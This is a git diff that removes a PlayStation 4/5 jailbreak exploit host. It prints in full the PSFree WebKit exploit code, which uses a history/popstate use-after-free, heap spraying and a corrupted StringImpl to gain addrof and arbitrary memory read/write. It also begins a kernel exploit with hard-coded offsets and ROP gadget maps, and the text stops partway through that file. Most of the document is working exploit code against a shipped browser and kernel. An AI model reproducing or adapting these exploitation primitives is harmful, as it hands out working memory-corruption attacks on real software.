diff --git a/G900/Cache.manifest b/G900/Cache.manifest deleted file mode 100644 index c98387c4..00000000 --- a/G900/Cache.manifest +++ /dev/null @@ -1,26 +0,0 @@ -CACHE MANIFEST - -CACHE: -alert.mjs -cache.html -Cache.manifest -config.mjs -exploit.mjs -goldhen.bin -index.html -int64.js -kexploit.js -rop.js -module\chain.mjs -module\constants.mjs -module\int64.mjs -module\mem.mjs -module\memtools.mjs -module\offset.mjs -module\rw.mjs -module\utils.mjs - -NETWORK: -* - -# 2024-02-26 14:22:30 diff --git a/G900/alert.mjs b/G900/alert.mjs deleted file mode 100644 index d15fcc64..00000000 --- a/G900/alert.mjs +++ /dev/null @@ -1,40 +0,0 @@ -/* Copyright (C) 2023-2024 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -// We can't just open a console on the ps4 browser, make sure the errors thrown -// by our modules are alerted. We use alert() instead of debug_log() because -// while we are developing, we may modify the utils.mjs module and introduce -// bugs. We can not use debug_log() if it throws an error. -// -// We added this new file instead of putting this on run.mjs, so we can ensure -// we can attach this listener first before running anything. -addEventListener('unhandledrejection', (event) => { - const reason = event.reason; - // We log the line and column numbers as well since some exceptions (like - // SyntaxError) do not show it in the stack trace. - alert( - `${reason}\n` - + `${reason.sourceURL}:${reason.line}:${reason.column}\n` - + `${reason.stack}` - ); - throw reason; -}) -function debug_log(msg) { - document.getElementById("progress").innerHTML=msg; -} -// important that we dynamically import the exploit script after we attach -import('./exploit.mjs'); diff --git a/G900/cache.html b/G900/cache.html deleted file mode 100644 index 95b0111c..00000000 --- a/G900/cache.html +++ /dev/null @@ -1,239 +0,0 @@ - - -Karo Host Auto Exploit Compressed + New Webkit Version 9.00 fw - - - - - - -

Karo Host Auto Exploit Compressed + New Webkit Version 9.00 fw

-

Caching... Wait

- -
-
-
Designed, Compiled by :   Karo Sharifi -



Super Special Thanks To :   Sleirsgoevy , Al Azif , ChendoChap , SiSTRo ,Specter ,Znullptr ,hippie68 ... -
-
- - - - diff --git a/G900/config.mjs b/G900/config.mjs deleted file mode 100644 index 483018c9..00000000 --- a/G900/config.mjs +++ /dev/null @@ -1,100 +0,0 @@ -/* Copyright (C) 2023 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -// webkitgtk 2.34.4 was used to develop the portable parts of the exploit -// before moving on to ps4 8.03 -// -// webkitgtk 2.34.4 was built with cmake variable ENABLE_JIT=OFF, that variable -// can affect the size of SerializedScriptValue -// -// this target is no longer supported -// -//export const gtk_2_34_4 = 0; - -// the original target platform was 8.03, this version confirmed works on ps4 -// 7.xx-8.xx -export const ps4_8_03 = 1; - -// this version for 9.xx -export const ps4_9_00 = 2; - -// version 9.xx is for ps5 1.xx-5.xx as well -export const ps5_5_00 = ps4_9_00; - -// this version for 6.50-6.72 -export const ps4_6_50 = 3; - -// this version for 6.00-6.20 -export const ps4_6_00 = 4; - -export function set_target(value) { - switch (value) { - case ps4_8_03: - case ps4_9_00: - case ps4_6_00: - case ps4_6_50: { - break; - } - default: { - throw RangeError('invalid target: ' + target); - } - } - - target = value; -} - -function DetectFirmwareVersion() -{ - var UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("PlayStation 4/",""); - - if (UA == "6.00" || UA == "6.02" || UA == "6.10" || UA == "6.20") - { - return ps4_6_00; - } - - if (UA == "6.50" || UA == "6.70" || UA == "6.71" || UA == "6.72") - { - return ps4_6_50; - } - - if (UA == "7.01" || UA == "7.02" || UA == "7.50" || UA == "7.51" || UA == "7.55" || UA == "8.00" || UA == "8.01" || UA == "8.03" || UA == "8.50" || UA == "8.51") - { - return ps4_8_03; - } - - //on 9.00 Fw deection changed to laystation insead of regular Playstation - UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("layStation 4/",""); - - - if (UA == "9.00" || UA == "9.03" || UA == "9.04" || UA == "9.50" || UA == "9.51" || UA == "9.60") - { - return ps4_9_00; - } - - //get user agent for PS5 (taken from PS5 Specter Exploit Host) - const supportedFirmwares = ["1.00","1.01","1.02","1.05","1.12","1.14","2.00","2.10","2.20","2.25","2.26","2.30","2.50","2.70","3.00","3.10","3.20","3.21","4.00", "4.02", "4.03", "4.50", "4.51","5.00","5.02","5.10","5.50"]; - const fw_idx = navigator.userAgent.indexOf('PlayStation; PlayStation 5/') + 27; - const fw_str = navigator.userAgent.substring(fw_idx, fw_idx + 4); - - if (supportedFirmwares.includes(fw_str)) - { - return ps5_5_00; - } - -} - -export let target = DetectFirmwareVersion(); diff --git a/G900/exploit.mjs b/G900/exploit.mjs deleted file mode 100644 index bf73b8cc..00000000 --- a/G900/exploit.mjs +++ /dev/null @@ -1,759 +0,0 @@ -/* Copyright (C) 2023-2024 anonymous - -This file is part of PSFree. - -PSFree is free software: you can redistribute it and/or modify -it under the terms of the GNU Affero General Public License as -published by the Free Software Foundation, either version 3 of the -License, or (at your option) any later version. - -PSFree is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU Affero General Public License for more details. - -You should have received a copy of the GNU Affero General Public License -along with this program. If not, see . */ - -import * as config from './config.mjs'; - -import { - read32, - read64, - write32, - write64, - sread64, -} from './module/rw.mjs'; - -import * as o from './module/offset.mjs'; - -import { Int } from './module/int64.mjs'; -import { Memory } from './module/mem.mjs'; - -import { - die, - debug_log, - clear_log, - str2array, -} from './module/utils.mjs'; - -const ssv_len = (() => { - switch (config.target) { - case config.ps4_6_00: { - return 0x58; - } - case config.ps4_9_00: { - return 0x50; - } - case config.ps4_6_50: - case config.ps4_8_03: { - return 0x48; - } - default: { - throw RangeError('invalid config.target: ' + config.target); - } - } -})(); - -const num_reuse = 0x400; - -// size of JSArrayBufferView -const original_strlen = ssv_len - o.size_strimpl; -const buffer_len = 0x20; -// make sure this is large enough to ensure that enough strings will -// occupy any gaps in in the relative read area so when are trying to leak the -// JSArrayBufferView we won't hit any unmapped areas -const num_str = 0x400; -const num_gc = 30; -const num_space = 19; -const original_loc = window.location.pathname; -const loc = original_loc + '#foo'; - -// this variable has to be global for the leak to work -let rstr = null; -// this variable has to be global so that the exploit is more likely to succeed -let view_leak_arr = []; -// These variables need to be global because we theorize there are -// optimizations between local and global variables. -// We don't know what optimizations these are but it is messing with us. - -// contents of the JSArrayBufferView -// 3rd element is the address of the buffer of the JSArrayBufferView -let jsview = []; - -// object for saving values -let s1 = {views : []}; -let view_leak = null; - -let input = document.body.appendChild(document.createElement("input")); -let foo = document.body.appendChild(document.createElement("a")); -foo.id = "foo"; - -// The theory is that the allocator and garbage collector (GC) cooperate in -// serving allocation requests. The GC knows if there are any garbage that can -// be collected, to free up memory for requests. If the allocator can't serve a -// request, it will ask the GC to perform a garbage collection. -// -// If even after a garbage colllection, there is still no memory left for -// allocation, then the process will request the operating system to increase -// its heap size. -// -// We loop a couple of times by num_loop in allocating memory and dropping -// references to it. Even though we dropped the references immediately, memory -// consumption will still grow, since garbage is not immediately collected. -// Hopefully one of the requests will force the allocator to yield to the GC. -let pressure = null; -function gc(num_loop) { - pressure = Array(100); - for (let i = 0; i < num_loop; i++) { - for (let i = 0; i < pressure.length; i++) { - pressure[i] = new Uint32Array(0x40000); - } - pressure = Array(100); - } - pressure = null; -} - -function sleep(ms) { - return new Promise(resolve => setTimeout(resolve, ms)); -} - -function prepare_uaf() { - // don't want any state0 near state1 - history.pushState('state0', ''); - for (let i = 0; i < num_space; i++) { - history.replaceState('state0', ''); - } - - history.replaceState("state1", "", loc); - - // don't want any state2 near state1 - history.pushState("state2", ""); - for (let i = 0; i < num_space; i++) { - history.replaceState("state2", ""); - } -} - -function free(save) { - // We replace the URL with the original so the user can rerun the exploit - // via a reload. If we don't then the exploit will append another "#foo" to - // the URL and the input element will not be blurred because the foo - // element won't be scrolled to during history.back(). - history.replaceState('state3', '', original_loc); - - for (let i = 0; i < num_reuse; i++) { - let view = new Uint8Array(new ArrayBuffer(ssv_len)); - for (let i = 0; i < view.length; i++) { - view[i] = 0x41; - } - save.views.push(view); - } -} - -function check_spray(views) { - if (views.length !== num_reuse) { - debug_log(`views.length: ${views.length}`); - die('views.length !== num_reuse, restart the entire exploit'); - } - - for (let i = 0; i < num_reuse; i++) { - if (views[i][0] !== 0x41) { - return i; - } - } - return null; -} - -async function use_after_free(pop_func, save) { - const pop_promise = new Promise((resolve, reject) => { - function pop_wrapper(event) { - try { - pop_func(event, save); - } catch (e) { - reject(e); - } - resolve(); - } - addEventListener("popstate", pop_wrapper, {once:true}); - }); - - prepare_uaf(); - - let num_free = 0; - function onblur() { - if (num_free > 0) { - die('multiple free()s, restart the entire exploit'); - } - free(save); - num_free++; - } - - input.onblur = onblur; - await new Promise((resolve) => { - input.addEventListener('focus', resolve, {once:true}); - input.focus(); - }); - history.back(); - - await pop_promise; -} - -// get arbitrary read -async function setup_ar(save) { - const view = save.ab; - - // set refcount to 1, all other fields to 0/NULL - view[0] = 1; - for (let i = 1; i < view.length; i++) { - view[i] = 0; - } - - delete save.views; - delete save.pop; - gc(num_gc); - debug_log('setup_ar() gc done'); - - // Extra sleep if the object hasn't been collected yet, this is to allow - // the garbage collector to preempt us. Keeping the call to gc() lowers the - // average total sleep time. - let total_sleep = 0; - const num_sleep = 8; - // Don't sleep for 9.xx. Tests show it is slower. This check and the sleep - // before double_free() make setup_ar() fast for 9.xx. - while (true && config.target !== config.ps4_9_00) { - await sleep(num_sleep); - total_sleep += num_sleep; - - if (view[0] !== 1) { - break; - } - } - debug_log(`total_sleep: ${total_sleep}`); - // log to check if the garbage collector did collect PopStateEvent - // must not log "1, 0, 0, 0, ..." - debug_log(view); - - let num_spray = 0; - while (true) { - const obj = {}; - num_spray++; - - for (let i = 0; i < num_str; i++) { - let str = new String( - 'B'.repeat(original_strlen - 5) - + i.toString().padStart(5, '0') - ); - obj[str] = 0x1337; - } - - if (view[o.strimpl_inline_str] === 0x42) { - write32(view, o.strimpl_strlen, 0xffffffff); - } else { - continue; - } - - let found = false; - const str_arr = Object.getOwnPropertyNames(obj); - for (let i = 0; i < str_arr.length; i++) { - if (str_arr[i].length > 0xff) { - rstr = str_arr[i]; - found = true; - debug_log('confirmed correct leaked'); - debug_log(`str len: ${rstr.length}`); - debug_log(view); - debug_log(`read address: ${read64(view, o.strimpl_m_data)}`); - break; - } - } - if (!found) { - continue; - } - - debug_log(`num_spray: ${num_spray}`); - return; - } -} - -async function double_free(save) { - const view = save.ab; - - await setup_ar(save); - - // Spraying JSArrayBufferViews - debug_log('spraying views'); - let buffer = new ArrayBuffer(buffer_len); - let tmp = []; - const num_alloc = 0x10000; - const num_threshold = 0xfc00; - const num_diff = num_alloc - num_threshold; - for (let i = 0; i < num_alloc; i++) { - // The last allocated are more likely to be allocated after our relative read - if (i >= num_threshold) { - view_leak_arr.push(new Uint8Array(buffer)); - } else { - tmp.push(new Uint8Array(buffer)); - } - } - tmp = null; - debug_log('done spray views'); - - // Force JSC ref on FastMalloc Heap - // https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151 - let props = []; - for (let i = 0; i < num_diff; i++) { - props.push({ value: 0x43434343 }); - props.push({ value: view_leak_arr[i] }); - } - - debug_log('start find leak'); - // - // /!\ - // This part must avoid as much as possible fastMalloc allocation - // to avoid re-using the targeted object - // /!\ - // - // Use relative read to find our JSC obj - // We want a JSArrayBufferView that is allocated after our relative read - search: while (true) { - Object.defineProperties({}, props); - for (let i = 0; i < 0x800000; i++) { - let v = null; - if (rstr.charCodeAt(i) === 0x43 && - rstr.charCodeAt(i + 1) === 0x43 && - rstr.charCodeAt(i + 2) === 0x43 && - rstr.charCodeAt(i + 3) === 0x43 - ) { - // check if PropertyDescriptor - if (rstr.charCodeAt(i + 0x08) === 0x00 && - rstr.charCodeAt(i + 0x0f) === 0x00 && - rstr.charCodeAt(i + 0x10) === 0x00 && - rstr.charCodeAt(i + 0x17) === 0x00 && - rstr.charCodeAt(i + 0x18) === 0x0e && - rstr.charCodeAt(i + 0x1f) === 0x00 && - rstr.charCodeAt(i + 0x28) === 0x00 && - rstr.charCodeAt(i + 0x2f) === 0x00 && - rstr.charCodeAt(i + 0x30) === 0x00 && - rstr.charCodeAt(i + 0x37) === 0x00 && - rstr.charCodeAt(i + 0x38) === 0x0e && - rstr.charCodeAt(i + 0x3f) === 0x00 - ) { - v = str2array(rstr, 8, i + 0x20); - // check if array of JSValues pointed by m_buffer - } else if (rstr.charCodeAt(i + 0x10) === 0x43 && - rstr.charCodeAt(i + 0x11) === 0x43 && - rstr.charCodeAt(i + 0x12) === 0x43 && - rstr.charCodeAt(i + 0x13) === 0x43) { - v = str2array(rstr, 8, i + 8); - } - } - if (v !== null) { - view_leak = new Int(v); - break search; - } - } - } - // - // /!\ - // Critical part ended-up here - // /!\ - // - debug_log('end find leak'); - debug_log('view addr ' + view_leak); - - let rstr_addr = read64(view, o.strimpl_m_data); - write64(view, o.strimpl_m_data, view_leak); - for (let i = 0; i < 4; i++) { - jsview.push(sread64(rstr, i*8)); - } - write64(view, o.strimpl_m_data, rstr_addr); - write32(view, o.strimpl_strlen, original_strlen); - debug_log('contents of JSArrayBufferView'); - debug_log(jsview); -} - -function find_leaked_view(rstr, view_rstr, view_m_vector, view_arr) { - const old_m_data = read64(view_rstr, o.strimpl_m_data); - - let res = null; - write64(view_rstr, o.strimpl_m_data, view_m_vector); - for (const view of view_arr) { - const magic = 0x41424344; - write32(view, 0, magic); - - if (sread64(rstr, 0).low() === magic) { - res = view; - break; - } - } - write64(view_rstr, o.strimpl_m_data, old_m_data); - - if (res === null) { - die('not found'); - } - return res; -} - - -class Reader { - // leaker will be the view whose address we leaked - constructor(rstr, view_rstr, leaker, leaker_addr) { - this.rstr = rstr; - this.view_rstr = view_rstr; - this.leaker = leaker; - this.leaker_addr = leaker_addr; - this.old_m_data = read64(view_rstr, o.strimpl_m_data); - - // Create a butterfy with the "a" property as the first. leaker is a - // JSArrayBufferView. Instances of that class don't have inlined - // properties and the butterfly is immediately created. - leaker.a = 0; // dummy value, we just want to create the "a" property - } - - addrof(obj) { - if (typeof obj !== 'object' - && typeof obj !== 'function' - ) { - throw TypeError('addrof argument not a JS object'); - } - - this.leaker.a = obj; - - // no need to modify the length, original_strlen is large enough - write64(this.view_rstr, o.strimpl_m_data, this.leaker_addr); - - const butterfly = sread64(this.rstr, o.js_butterfly); - write64(this.view_rstr, o.strimpl_m_data, butterfly.sub(0x10)); - - const res = sread64(this.rstr, 0); - - write64(this.view_rstr, o.strimpl_m_data, this.old_m_data); - return res; - } - - get_view_vector(view) { - if (!ArrayBuffer.isView(view)) { - throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); - } - - write64(this.view_rstr, o.strimpl_m_data, this.addrof(view)); - const res = sread64(this.rstr, o.view_m_vector); - - write64(this.view_rstr, o.strimpl_m_data, this.old_m_data); - return res; - } -} - -// data to write to the SerializedScriptValue -// -// Setup to make deserialization create an ArrayBuffer with its buffer address -// pointing to a JSArrayBufferView (worker). -// -// TypedArrays (JSArrayBufferView) created via "new TypedArray(x)" where x <= -// 1000 (fastSizeLimit) have ther buffers allocated on the JavaScript heap -// (m_mode = FastTypedArray). Requesting the buffer property ("view.buffer") -// (calls possiblySharedBuffer()) of such a view will allocate a new buffer on -// the fastMalloc heap, the contents of the old one will be copied. This will -// change the m_vector field, so care must be taken if you cache the result of -// get_view_vector(), you must call it again to get the updated field. -// -// See enum TypedArrayMode from -// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h and -// possiblySharedBuffer() from -// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h at PS4 8.03. -function setup_ssv_data(reader) { - const r = reader; - // sizeof WTF::Vector - const size_vector = 0x10; - // sizeof JSC::ArrayBufferContents - const size_abc = config.target === config.ps4_9_00 ? 0x18 : 0x20; - - // WTF::Vector - const m_data = new Uint8Array(size_vector); - const data = new Uint8Array(9); - - // m_buffer - write64(m_data, 0, r.get_view_vector(data)); - // m_capacity - write32(m_data, 8, data.length); - // m_size - write32(m_data, 0xc, data.length); - - // 6 is the serialization format version number for ps4 6.00. The format - // is backwards compatible and using a value less than the current version - // number used by a specific WebKit version is considered valid. - // - // See CloneDeserializer::isValid() from - // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.03. - const CurrentVersion = 6; - const ArrayBufferTransferTag = 23; - write32(data, 0, CurrentVersion); - data[4] = ArrayBufferTransferTag; - write32(data, 5, 0); - - // WTF::Vector - const abc_vector = new Uint8Array(size_vector); - // JSC::ArrayBufferContents - const abc = new Uint8Array(size_abc); - - write64(abc_vector, 0, r.get_view_vector(abc)); - write32(abc_vector, 8, 1); - write32(abc_vector, 0xc, 1); - - // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap, - // unlike FastTypedArray, where the buffer is managed by the GC. This - // prevents random crashes. - // - // See JSGenericTypedArrayView::visitChildren() from - // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at - // PS4 8.03. - const worker = new Uint8Array(new ArrayBuffer(1)); - - if (config.target !== config.ps4_9_00) { - // m_destructor - write64(abc, 0, Int.Zero); - // m_shared - write64(abc, 8, Int.Zero); - // m_data - write64(abc, 0x10, r.addrof(worker)); - // m_sizeInBytes - write32(abc, 0x18, o.size_view); - } else { - // m_data - // m_data - write64(abc, 0, r.addrof(worker)); - // m_destructor - write64(abc, 8, Int.Zero); - // m_shared - write64(abc, 0xe, Int.Zero); - // m_sizeInBytes - write32(abc, 0x14, o.size_view); - } - - return { - m_data, - m_arrayBufferContentsArray : r.get_view_vector(abc_vector), - worker, - // keep a reference to prevent garbage collection - nogc : [ - data, - abc_vector, - abc, - ], - }; -} - -// get arbitrary read/write -async function setup_arw(save, ssv_data) { - const num_msg = 1000; - const view = save.ab; - let msgs = []; - - function onmessage(event) { - msgs.push(event); - } - addEventListener('message', onmessage); - - // Free the StringImpl so we can spray SerializedScriptValues over the - // buffer of the view. The StringImpl is safe to free since we fixed it up - // earlier. - rstr = null; - while (true) { - for (let i = 0; i < num_msg; i++) { - postMessage('', origin); - } - - while (msgs.length !== num_msg) { - await sleep(100); - } - - if (view[o.strimpl_inline_str] !== 0x42) { - break; - } - - msgs = []; - } - removeEventListener('message', onmessage); - - debug_log('view contents:'); - for (let i = 0; i < ssv_len; i += 8) { - debug_log(read64(view, i)); - } - - // save SerializedScriptValue - const copy = []; - for (let i = 0; i < view.length; i++) { - copy.push(view[i]); - } - - const {m_data, m_arrayBufferContentsArray, worker, nogc} = ssv_data; - write64(view, 8, read64(m_data, 0)); - write64(view, 0x10, read64(m_data, 8)); - write64(view, 0x18, m_arrayBufferContentsArray); - - for (const msg of msgs) { - if (msg.data !== '') { - //alert('Webkit Done!!!... Click ok'); - debug_log('achieved arbitrary r/w'); - - const u = new Uint8Array(msg.data); - debug_log('deserialized ArrayBuffer:'); - for (let i = 0; i < o.size_view; i += 8) { - debug_log(read64(u, i)); - } - - const mem = new Memory(u, worker); - - window.p = { - read1(addr) { - addr = new Int(addr.low, addr.hi); - const res = mem.read8(addr); - return res; - }, - - read2(addr) { - addr = new Int(addr.low, addr.hi); - const res = mem.read16(addr); - return res; - }, - - read4(addr) { - addr = new Int(addr.low, addr.hi); - const res = mem.read32(addr); - return res; - }, - - read8(addr) { - addr = new Int(addr.low, addr.hi); - const res = mem.read64(addr); - return new int64(res.low(), res.high()); - }, - - write1(addr, value) { - addr = new Int(addr.low, addr.hi); - mem.write8(addr, value); - }, - - write2(addr, value) { - addr = new Int(addr.low, addr.hi); - mem.write16(addr, value); - }, - - write4(addr, value) { - addr = new Int(addr.low, addr.hi); - mem.write32(addr, value); - }, - - write8(addr, value) { - addr = new Int(addr.low, addr.hi); - if (value instanceof int64) { - value = new Int(value.low, value.hi); - mem.write64(addr, value); - } else { - mem.write64(addr, new Int(value)); - } - - }, - - leakval(obj) { - const res = mem.addrof(obj); - return new int64(res.low(), res.high()); - } - }; - - // restore SerializedScriptValue - view.set(copy); - - // cleanup - view_leak_arr = null; - view_leak = null; - jsview = null; - input = null; - foo = null; - - // Before s1.ab gets garbage collected and its underlying buffer - // on the fastMalloc heap is freed, another object could be - // allocated in the meantime. That object could be freed - // prematurely once the GC occurs. This could corrupt the object - // if another object is allocated in the same memory area. - // - // So we will keep s1 alive. - - return; - } - } - die('no arbitrary r/w'); -} - -// Don't create additional references to rstr, use the global variable. This -// is to make dropping all its references easy (change the value of the global -// variable). -async function triple_free( - save, - // contents of the leaked JSArrayBufferView - jsview, - view_leak_arr, - leaked_view_addr, -) { - const leaker = find_leaked_view(rstr, save.ab, jsview[2], view_leak_arr); - let r = new Reader(rstr, save.ab, leaker, leaked_view_addr); - const ssv_data = setup_ssv_data(r); - - // r contains a reference to rstr, drop it for setup_arw2() - r = null; - await setup_arw(save, ssv_data); -} - -function pop(event, save) { - let spray_res = check_spray(save.views); - if (spray_res === null) { - die('failed spray'); - } else { - save.pop = event; - save.ab = save.views[spray_res]; - debug_log('ssv len: ' + ssv_len); - debug_log('view index: ' + spray_res); - debug_log(save.ab); - } -} - -// For some reason the input element is being blurred by something else (we -// don't know what) if we execute use_after_free() before the DOMContentLoaded -// event fires. The input must only be blurred by history.back(), which will -// change the focus from the input to the foo element. -async function get_ready() { - debug_log('readyState: ' + document.readyState); - await new Promise((resolve, reject) => { - if (document.readyState !== "complete") { - document.addEventListener("DOMContentLoaded", resolve); - return; - } - resolve(); - }); -} - -async function run() { - debug_log('stage: readying'); - await get_ready(); - - debug_log('Jailbreaking..... Wait'); - await use_after_free(pop, s1); - - // we trigger the leak first because it is more likely to work - // than if it were to happen during the second ssv smashing - // on the ps4 - debug_log('Jailbreaking....... Wait'); - // * keeps setup_ar()'s total sleep even lower - // * also helps the garbage collector scheduling for 9.xx - await sleep(0); - await double_free(s1); - debug_log('Jailbreaking........... Wait'); - await triple_free(s1, jsview, view_leak_arr, view_leak); - debug_log('WebKit Done.............Wait'); - //clear_log(); - run_hax(); -} - -setTimeout(function() - { - run(); - }, 1000); diff --git a/G900/goldhen.bin b/G900/goldhen.bin deleted file mode 100644 index 437bb191..00000000 Binary files a/G900/goldhen.bin and /dev/null differ diff --git a/G900/index.html b/G900/index.html deleted file mode 100644 index e53b77da..00000000 --- a/G900/index.html +++ /dev/null @@ -1,288 +0,0 @@ - - - - -Karo Host Auto Exploit GoldHen new Webkit 900fw - - - - - - - -

Karo Host Auto Exploit GoldHen new Webkit 900fw

-

Jailbreaking....


-
- -
- - -
-
-
Designed, Compiled by :   Karo Sharifi -



Super Special Thanks To :   Sleirsgoevy , Al Azif , ChendoChap , SiSTRo ,Specter ,Znullptr ... -
-
-















- - - diff --git a/G900/int64.js b/G900/int64.js deleted file mode 100644 index 70fe7388..00000000 --- a/G900/int64.js +++ /dev/null @@ -1,97 +0,0 @@ -function int64(low, hi) { - this.low = (low >>> 0); - this.hi = (hi >>> 0); - - this.add32inplace = function (val) { - var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; - var new_hi = (this.hi >>> 0); - - if (new_lo < this.low) { - new_hi++; - } - - this.hi = new_hi; - this.low = new_lo; - } - - this.add32 = function (val) { - var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; - var new_hi = (this.hi >>> 0); - - if (new_lo < this.low) { - new_hi++; - } - - return new int64(new_lo, new_hi); - } - - this.sub32 = function (val) { - var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; - var new_hi = (this.hi >>> 0); - - if (new_lo > (this.low) & 0xFFFFFFFF) { - new_hi--; - } - - return new int64(new_lo, new_hi); - } - - this.sub32inplace = function (val) { - var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; - var new_hi = (this.hi >>> 0); - - if (new_lo > (this.low) & 0xFFFFFFFF) { - new_hi--; - } - - this.hi = new_hi; - this.low = new_lo; - } - - this.and32 = function (val) { - var new_lo = this.low & val; - var new_hi = this.hi; - return new int64(new_lo, new_hi); - } - - this.and64 = function (vallo, valhi) { - var new_lo = this.low & vallo; - var new_hi = this.hi & valhi; - return new int64(new_lo, new_hi); - } - - this.toString = function (val) { - val = 16; - var lo_str = (this.low >>> 0).toString(val); - var hi_str = (this.hi >>> 0).toString(val); - - if (this.hi == 0) - return lo_str; - else - lo_str = zeroFill(lo_str, 8) - - return hi_str + lo_str; - } - - return this; -} - -function zeroFill(number, width) { - width -= number.toString().length; - - if (width > 0) { - return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number; - } - - return number + ""; // always return a string -} - -function zeroFill(number, width) { - width -= number.toString().length; - - if (width > 0) { - return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number; - } - - return number + ""; // always return a string -} \ No newline at end of file diff --git a/G900/kexploit.js b/G900/kexploit.js deleted file mode 100644 index 15c07ece..00000000 --- a/G900/kexploit.js +++ /dev/null @@ -1,873 +0,0 @@ -//Exploit Code by ChendoChap & Znullptr - -//////////////////////////KERNEL EXPLOIT -var chain; -var kchain; -var kchain2; -var SAVED_KERNEL_STACK_PTR; -var KERNEL_BASE_PTR; - -var webKitBase; -var webKitRequirementBase; - -var libSceLibcInternalBase; -var libKernelBase; - -var textArea = document.createElement("textarea"); - -const OFFSET_wk_vtable_first_element = 0x104F110; -const OFFSET_WK_memset_import = 0x000002A8; -const OFFSET_WK___stack_chk_fail_import = 0x00000178; -const OFFSET_WK_psl_builtin_import = 0xD68; - -const OFFSET_WKR_psl_builtin = 0x33BA0; - -const OFFSET_WK_setjmp_gadget_one = 0x0106ACF7; -const OFFSET_WK_setjmp_gadget_two = 0x01ECE1D3; -const OFFSET_WK_longjmp_gadget_one = 0x0106ACF7; -const OFFSET_WK_longjmp_gadget_two = 0x01ECE1D3; - -const OFFSET_libcint_memset = 0x0004F810; -const OFFSET_libcint_setjmp = 0x000BB5BC; -const OFFSET_libcint_longjmp = 0x000BB616; - -const OFFSET_WK2_TLS_IMAGE = 0x38e8020; - - -const OFFSET_lk___stack_chk_fail = 0x0001FF60; -const OFFSET_lk_pthread_create = 0x00025510; -const OFFSET_lk_pthread_join = 0x0000AFA0; - -var nogc = []; -var syscalls = {}; -var gadgets = {}; -var wk_gadgetmap = { - "ret": 0x32, - "pop rdi": 0x319690, - "pop rsi": 0x1F4D6, - "pop rdx": 0x986C, - "pop rcx": 0x657B7, - "pop r8": 0xAFAA71, - "pop r9": 0x422571, - "pop rax": 0x51A12, - "pop rsp": 0x4E293, - - "mov [rdi], rsi": 0x1A97920, - "mov [rdi], rax": 0x10788F7, - "mov [rdi], eax": 0x9964BC, - - "cli ; pop rax": 0x566F8, - "sti": 0x1FBBCC, - - "mov rax, [rax]": 0x241CC, - "mov rax, [rsi]": 0x5106A0, - "mov [rax], rsi": 0x1EFD890, - "mov [rax], rdx": 0x1426A82, - "mov [rax], edx": 0x3B7FE4, - "add rax, rsi": 0x170397E, - "mov rdx, rax": 0x53F501, - "add rax, rcx": 0x2FBCD, - "mov rsp, rdi": 0x2048062, - "mov rdi, [rax + 8] ; call [rax]": 0x751EE7, - "infloop": 0x7DFF, - - "mov [rax], cl": 0xC6EAF, -}; - -var wkr_gadgetmap = { - "xchg rdi, rsp ; call [rsi - 0x79]": 0x1d74f0 //JOP 3 -}; - -var wk2_gadgetmap = { - "mov [rax], rdi": 0xFFDD7, - "mov [rax], rcx": 0x2C9ECA, - "mov [rax], cx": 0x15A7D52, -}; -var hmd_gadgetmap = { - "add [r8], r12": 0x2BCE1 -}; -var ipmi_gadgetmap = { - "mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]": 0x344B -}; - -function userland() { - - //RW -> ROP method is strongly based off of: - //https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit - - p.launch_chain = launch_chain; - p.malloc = malloc; - p.malloc32 = malloc32; - p.stringify = stringify; - p.array_from_address = array_from_address; - p.readstr = readstr; - - //pointer to vtable address - var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18)); - //address of vtable - var textAreaVtable = p.read8(textAreaVtPtr); - //use address of 1st entry (in .text) to calculate webkitbase - webKitBase = p.read8(textAreaVtable).sub32(OFFSET_wk_vtable_first_element); - - libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import))); - libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset); - - libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import))); - libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail); - - webKitRequirementBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_psl_builtin_import))); - webKitRequirementBase.sub32inplace(OFFSET_WKR_psl_builtin); - - for (var gadget in wk_gadgetmap) { - window.gadgets[gadget] = webKitBase.add32(wk_gadgetmap[gadget]); - } - for (var gadget in 